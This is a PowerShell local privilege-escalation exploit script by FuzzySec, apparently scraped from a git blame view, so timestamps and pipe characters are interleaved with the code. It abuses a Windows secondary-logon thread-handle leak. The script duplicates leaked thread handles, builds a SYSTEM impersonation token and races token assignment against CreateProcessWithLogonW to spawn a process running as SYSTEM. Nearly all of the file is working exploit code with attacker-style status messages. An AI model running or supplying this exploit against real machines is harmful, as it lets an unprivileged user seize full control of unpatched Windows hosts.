2016-06-22 13:25:48 +00:00
|
|
|
# Copyright (c) 2016, Ruben Booren (@FuzzySec)
|
|
|
|
# All rights reserved
|
|
|
|
Add-Type -TypeDefinition @"
|
|
|
|
using System;
|
|
|
|
using System.Diagnostics;
|
|
|
|
using System.Runtime.InteropServices;
|
|
|
|
using System.Security.Principal;
|
|
|
|
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
|
|
public struct PROCESS_INFORMATION
|
|
|
|
{
|
|
|
|
public IntPtr hProcess;
|
|
|
|
public IntPtr hThread;
|
|
|
|
public int dwProcessId;
|
|
|
|
public int dwThreadId;
|
|
|
|
}
|
|
|
|
|
|
|
|
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
|
|
|
public struct STARTUPINFO
|
|
|
|
{
|
|
|
|
public Int32 cb;
|
|
|
|
public string lpReserved;
|
|
|
|
public string lpDesktop;
|
|
|
|
public string lpTitle;
|
|
|
|
public Int32 dwX;
|
|
|
|
public Int32 dwY;
|
|
|
|
public Int32 dwXSize;
|
|
|
|
public Int32 dwYSize;
|
|
|
|
public Int32 dwXCountChars;
|
|
|
|
public Int32 dwYCountChars;
|
|
|
|
public Int32 dwFillAttribute;
|
|
|
|
public Int32 dwFlags;
|
|
|
|
public Int16 wShowWindow;
|
|
|
|
public Int16 cbReserved2;
|
|
|
|
public IntPtr lpReserved2;
|
|
|
|
public IntPtr hStdInput;
|
|
|
|
public IntPtr hStdOutput;
|
|
|
|
public IntPtr hStdError;
|
|
|
|
}
|
|
|
|
|
|
|
|
[StructLayout(LayoutKind.Sequential)]
|
|
|
|
public struct SQOS
|
|
|
|
{
|
|
|
|
public int Length;
|
|
|
|
public int ImpersonationLevel;
|
|
|
|
public int ContextTrackingMode;
|
|
|
|
public bool EffectiveOnly;
|
|
|
|
}
|
|
|
|
|
|
|
|
public static class Advapi32
|
|
|
|
{
|
|
|
|
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
|
|
|
public static extern bool CreateProcessWithLogonW(
|
|
|
|
String userName,
|
|
|
|
String domain,
|
|
|
|
String password,
|
|
|
|
int logonFlags,
|
|
|
|
String applicationName,
|
|
|
|
String commandLine,
|
|
|
|
int creationFlags,
|
|
|
|
int environment,
|
|
|
|
String currentDirectory,
|
|
|
|
ref STARTUPINFO startupInfo,
|
|
|
|
out PROCESS_INFORMATION processInformation);
|
|
|
|
|
|
|
|
[DllImport("advapi32.dll", SetLastError=true)]
|
|
|
|
public static extern bool SetThreadToken(
|
|
|
|
ref IntPtr Thread,
|
|
|
|
IntPtr Token);
|
|
|
|
|
|
|
|
[DllImport("advapi32.dll", SetLastError=true)]
|
|
|
|
public static extern bool OpenThreadToken(
|
|
|
|
IntPtr ThreadHandle,
|
|
|
|
int DesiredAccess,
|
|
|
|
bool OpenAsSelf,
|
|
|
|
out IntPtr TokenHandle);
|
|
|
|
|
|
|
|
[DllImport("advapi32.dll", SetLastError=true)]
|
|
|
|
public static extern bool OpenProcessToken(
|
|
|
|
IntPtr ProcessHandle,
|
|
|
|
int DesiredAccess,
|
|
|
|
ref IntPtr TokenHandle);
|
|
|
|
|
|
|
|
[DllImport("advapi32.dll", SetLastError=true)]
|
|
|
|
public extern static bool DuplicateToken(
|
|
|
|
IntPtr ExistingTokenHandle,
|
|
|
|
int SECURITY_IMPERSONATION_LEVEL,
|
|
|
|
ref IntPtr DuplicateTokenHandle);
|
|
|
|
}
|
|
|
|
|
|
|
|
public static class Kernel32
|
|
|
|
{
|
|
|
|
[DllImport("kernel32.dll")]
|
|
|
|
public static extern uint GetLastError();
|
|
|
|
|
|
|
|
[DllImport("kernel32.dll", SetLastError=true)]
|
|
|
|
public static extern IntPtr GetCurrentProcess();
|
|
|
|
|
|
|
|
[DllImport("kernel32.dll", SetLastError=true)]
|
|
|
|
public static extern IntPtr GetCurrentThread();
|
|
|
|
|
|
|
|
[DllImport("kernel32.dll", SetLastError=true)]
|
|
|
|
public static extern int GetThreadId(IntPtr hThread);
|
|
|
|
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
|
|
public static extern int GetProcessIdOfThread(IntPtr handle);
|
|
|
|
|
|
|
|
[DllImport("kernel32.dll",SetLastError=true)]
|
|
|
|
public static extern int SuspendThread(IntPtr hThread);
|
|
|
|
|
|
|
|
[DllImport("kernel32.dll",SetLastError=true)]
|
|
|
|
public static extern int ResumeThread(IntPtr hThread);
|
|
|
|
|
|
|
|
[DllImport("kernel32.dll", SetLastError=true)]
|
|
|
|
public static extern bool TerminateProcess(
|
|
|
|
IntPtr hProcess,
|
|
|
|
uint uExitCode);
|
|
|
|
|
|
|
|
[DllImport("kernel32.dll", SetLastError=true)]
|
|
|
|
public static extern bool CloseHandle(IntPtr hObject);
|
|
|
|
|
|
|
|
[DllImport("kernel32.dll", SetLastError=true)]
|
|
|
|
public static extern bool DuplicateHandle(
|
|
|
|
IntPtr hSourceProcessHandle,
|
|
|
|
IntPtr hSourceHandle,
|
|
|
|
IntPtr hTargetProcessHandle,
|
|
|
|
ref IntPtr lpTargetHandle,
|
|
|
|
int dwDesiredAccess,
|
|
|
|
bool bInheritHandle,
|
|
|
|
int dwOptions);
|
|
|
|
}
|
|
|
|
|
|
|
|
public static class Ntdll
|
|
|
|
{
|
|
|
|
[DllImport("ntdll.dll", SetLastError=true)]
|
|
|
|
public static extern int NtImpersonateThread(
|
|
|
|
IntPtr ThreadHandle,
|
|
|
|
IntPtr ThreadToImpersonate,
|
|
|
|
ref SQOS SecurityQualityOfService);
|
|
|
|
}
|
|
|
|
"@
|
|
|
|
|
|
|
|
function Get-ThreadHandle {
|
|
|
|
# StartupInfo Struct
|
|
|
|
$StartupInfo = New-Object STARTUPINFO
|
|
|
|
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
|
|
|
|
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
|
|
|
|
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
|
|
|
|
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
|
|
|
|
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
|
|
|
|
|
|
|
# ProcessInfo Struct
|
|
|
|
$ProcessInfo = New-Object PROCESS_INFORMATION
|
|
|
|
|
|
|
|
# CreateProcessWithLogonW --> lpCurrentDirectory
|
|
|
|
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
|
|
|
|
2016-07-27 17:37:14 +00:00
|
|
|
$path1 = $env:windir
|
2016-07-27 17:35:43 +00:00
|
|
|
$path1 = "$path1\System32\cmd.exe"
|
2016-06-22 13:25:48 +00:00
|
|
|
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
|
|
|
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
|
|
|
"user", "domain", "pass",
|
|
|
|
0x00000002, $path1, "",
|
|
|
|
0x00000004, $null, $GetCurrentPath,
|
|
|
|
[ref]$StartupInfo, [ref]$ProcessInfo)
|
|
|
|
|
|
|
|
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
|
|
|
|
$lpTargetHandle = [IntPtr]::Zero
|
|
|
|
$CallResult = [Kernel32]::DuplicateHandle(
|
|
|
|
$ProcessInfo.hProcess, 0x4,
|
|
|
|
[Kernel32]::GetCurrentProcess(),
|
|
|
|
[ref]$lpTargetHandle, 0, $false,
|
|
|
|
0x00000002)
|
|
|
|
|
|
|
|
# Clean up suspended process
|
|
|
|
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
|
|
|
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
|
|
|
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
|
|
|
|
|
|
|
$lpTargetHandle
|
|
|
|
}
|
|
|
|
|
|
|
|
function Get-SystemToken {
|
|
|
|
echo "`n[?] Trying thread handle: $Thread"
|
|
|
|
echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
|
|
|
|
|
|
|
|
$CallResult = [Kernel32]::SuspendThread($Thread)
|
|
|
|
if ($CallResult -ne 0) {
|
|
|
|
echo "[!] $Thread is a bad thread, moving on.."
|
|
|
|
Return
|
|
|
|
} echo "[+] Thread suspended"
|
|
|
|
|
|
|
|
echo "[>] Wiping current impersonation token"
|
|
|
|
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
|
|
|
|
if (!$CallResult) {
|
|
|
|
echo "[!] SetThreadToken failed, moving on.."
|
|
|
|
$CallResult = [Kernel32]::ResumeThread($Thread)
|
|
|
|
echo "[+] Thread resumed!"
|
|
|
|
Return
|
|
|
|
}
|
|
|
|
|
|
|
|
echo "[>] Building SYSTEM impersonation token"
|
|
|
|
# SecurityQualityOfService struct
|
|
|
|
$SQOS = New-Object SQOS
|
|
|
|
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
|
|
|
|
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
|
|
|
|
# Undocumented API's, I like your style Microsoft ;)
|
|
|
|
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
|
|
|
|
if ($CallResult -ne 0) {
|
|
|
|
echo "[!] NtImpersonateThread failed, moving on.."
|
|
|
|
$CallResult = [Kernel32]::ResumeThread($Thread)
|
|
|
|
echo "[+] Thread resumed!"
|
|
|
|
Return
|
|
|
|
}
|
|
|
|
|
|
|
|
$script:SysTokenHandle = [IntPtr]::Zero
|
|
|
|
# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
|
|
|
|
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
|
|
|
|
if (!$CallResult) {
|
|
|
|
echo "[!] OpenThreadToken failed, moving on.."
|
|
|
|
$CallResult = [Kernel32]::ResumeThread($Thread)
|
|
|
|
echo "[+] Thread resumed!"
|
|
|
|
Return
|
|
|
|
}
|
|
|
|
|
|
|
|
echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
|
|
|
|
echo "[+] Resuming thread.."
|
|
|
|
$CallResult = [Kernel32]::ResumeThread($Thread)
|
|
|
|
}
|
|
|
|
|
|
|
|
# main() <--- ;)
|
|
|
|
|
|
|
|
# Check logical processor count, race condition requires 2+
|
|
|
|
echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
|
|
|
|
if ($([System.Environment]::ProcessorCount) -lt 2) {
|
|
|
|
echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
|
|
|
|
Return
|
|
|
|
}
|
|
|
|
|
|
|
|
# Create array for Threads & TID's
|
|
|
|
$ThreadArray = @()
|
|
|
|
$TidArray = @()
|
|
|
|
|
|
|
|
echo "[>] Duplicating CreateProcessWithLogonW handles.."
|
2016-07-27 17:35:43 +00:00
|
|
|
# Loop 1 is fine, this never fails unless patched in which case the handle is 0
|
|
|
|
for ($i=0; $i -lt 1; $i++) {
|
2016-06-22 13:25:48 +00:00
|
|
|
$hThread = Get-ThreadHandle
|
|
|
|
$hThreadID = [Kernel32]::GetThreadId($hThread)
|
|
|
|
# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
|
|
|
|
if ($TidArray -notcontains $hThreadID) {
|
|
|
|
$TidArray += $hThreadID
|
|
|
|
if ($hThread -ne 0) {
|
|
|
|
$ThreadArray += $hThread # This is what we need!
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
if ($($ThreadArray.length) -eq 0) {
|
|
|
|
echo "[!] No valid thread handles were captured, exiting!"
|
|
|
|
Return
|
|
|
|
} else {
|
|
|
|
echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
|
|
|
|
echo "`n[?] Thread handle list:"
|
|
|
|
$ThreadArray
|
|
|
|
}
|
|
|
|
|
|
|
|
echo "`n[*] Sniffing out privileged impersonation token.."
|
|
|
|
foreach ($Thread in $ThreadArray){
|
|
|
|
|
|
|
|
# Get handle to SYSTEM access token
|
|
|
|
Get-SystemToken
|
|
|
|
|
|
|
|
echo "`n[*] Sniffing out SYSTEM shell.."
|
|
|
|
echo "`n[>] Duplicating SYSTEM token"
|
|
|
|
$hDuplicateTokenHandle = [IntPtr]::Zero
|
|
|
|
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
|
|
|
|
|
|
|
|
# Simple PS runspace definition
|
|
|
|
echo "[>] Starting token race"
|
|
|
|
$Runspace = [runspacefactory]::CreateRunspace()
|
|
|
|
$StartTokenRace = [powershell]::Create()
|
|
|
|
$StartTokenRace.runspace = $Runspace
|
|
|
|
$Runspace.Open()
|
|
|
|
[void]$StartTokenRace.AddScript({
|
|
|
|
Param ($Thread, $hDuplicateTokenHandle)
|
|
|
|
while ($true) {
|
|
|
|
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
|
|
|
|
}
|
|
|
|
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
|
|
|
|
$AscObj = $StartTokenRace.BeginInvoke()
|
|
|
|
|
|
|
|
echo "[>] Starting process race"
|
|
|
|
# Adding a timeout (10 seconds) here to safeguard from edge-cases
|
|
|
|
$SafeGuard = [diagnostics.stopwatch]::StartNew()
|
|
|
|
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
|
|
|
|
# StartupInfo Struct
|
|
|
|
$StartupInfo = New-Object STARTUPINFO
|
|
|
|
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
|
|
|
|
|
|
|
|
# ProcessInfo Struct
|
|
|
|
$ProcessInfo = New-Object PROCESS_INFORMATION
|
|
|
|
|
|
|
|
# CreateProcessWithLogonW --> lpCurrentDirectory
|
|
|
|
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
|
|
|
|
|
|
|
|
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
|
|
|
|
$CallResult = [Advapi32]::CreateProcessWithLogonW(
|
|
|
|
"user", "domain", "pass",
|
|
|
|
0x00000002, $cmd, $args1,
|
|
|
|
0x00000004, $null, $GetCurrentPath,
|
|
|
|
[ref]$StartupInfo, [ref]$ProcessInfo)
|
2016-07-27 17:35:43 +00:00
|
|
|
|
|
|
|
#---
|
|
|
|
# Make sure CreateProcessWithLogonW ran successfully! If not, skip loop.
|
|
|
|
#---
|
|
|
|
# Missing this check used to cause the exploit to fail sometimes.
|
|
|
|
# If CreateProcessWithLogon fails OpenProcessToken won't succeed
|
|
|
|
# but we obviously don't have a SYSTEM shell :'( . Should be 100%
|
|
|
|
# reliable now!
|
|
|
|
#---
|
|
|
|
if (!$CallResult) {
|
|
|
|
continue
|
|
|
|
}
|
|
|
|
|
2016-06-22 13:25:48 +00:00
|
|
|
$hTokenHandle = [IntPtr]::Zero
|
|
|
|
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
|
|
|
|
|
|
|
|
# If we can't open the process token it's a SYSTEM shell!
|
|
|
|
if (!$CallResult) {
|
|
|
|
echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
|
|
|
|
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
|
|
|
|
$StartTokenRace.Stop()
|
|
|
|
$SafeGuard.Stop()
|
|
|
|
Return
|
|
|
|
}
|
|
|
|
|
|
|
|
# Clean up suspended process
|
|
|
|
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
|
|
|
|
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
|
|
|
|
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
|
|
|
|
}
|
|
|
|
|
|
|
|
# Kill runspace & stopwatch if edge-case
|
|
|
|
$StartTokenRace.Stop()
|
|
|
|
$SafeGuard.Stop()
|
|
|
|
}
|
2016-07-27 17:35:43 +00:00
|
|
|
exit
|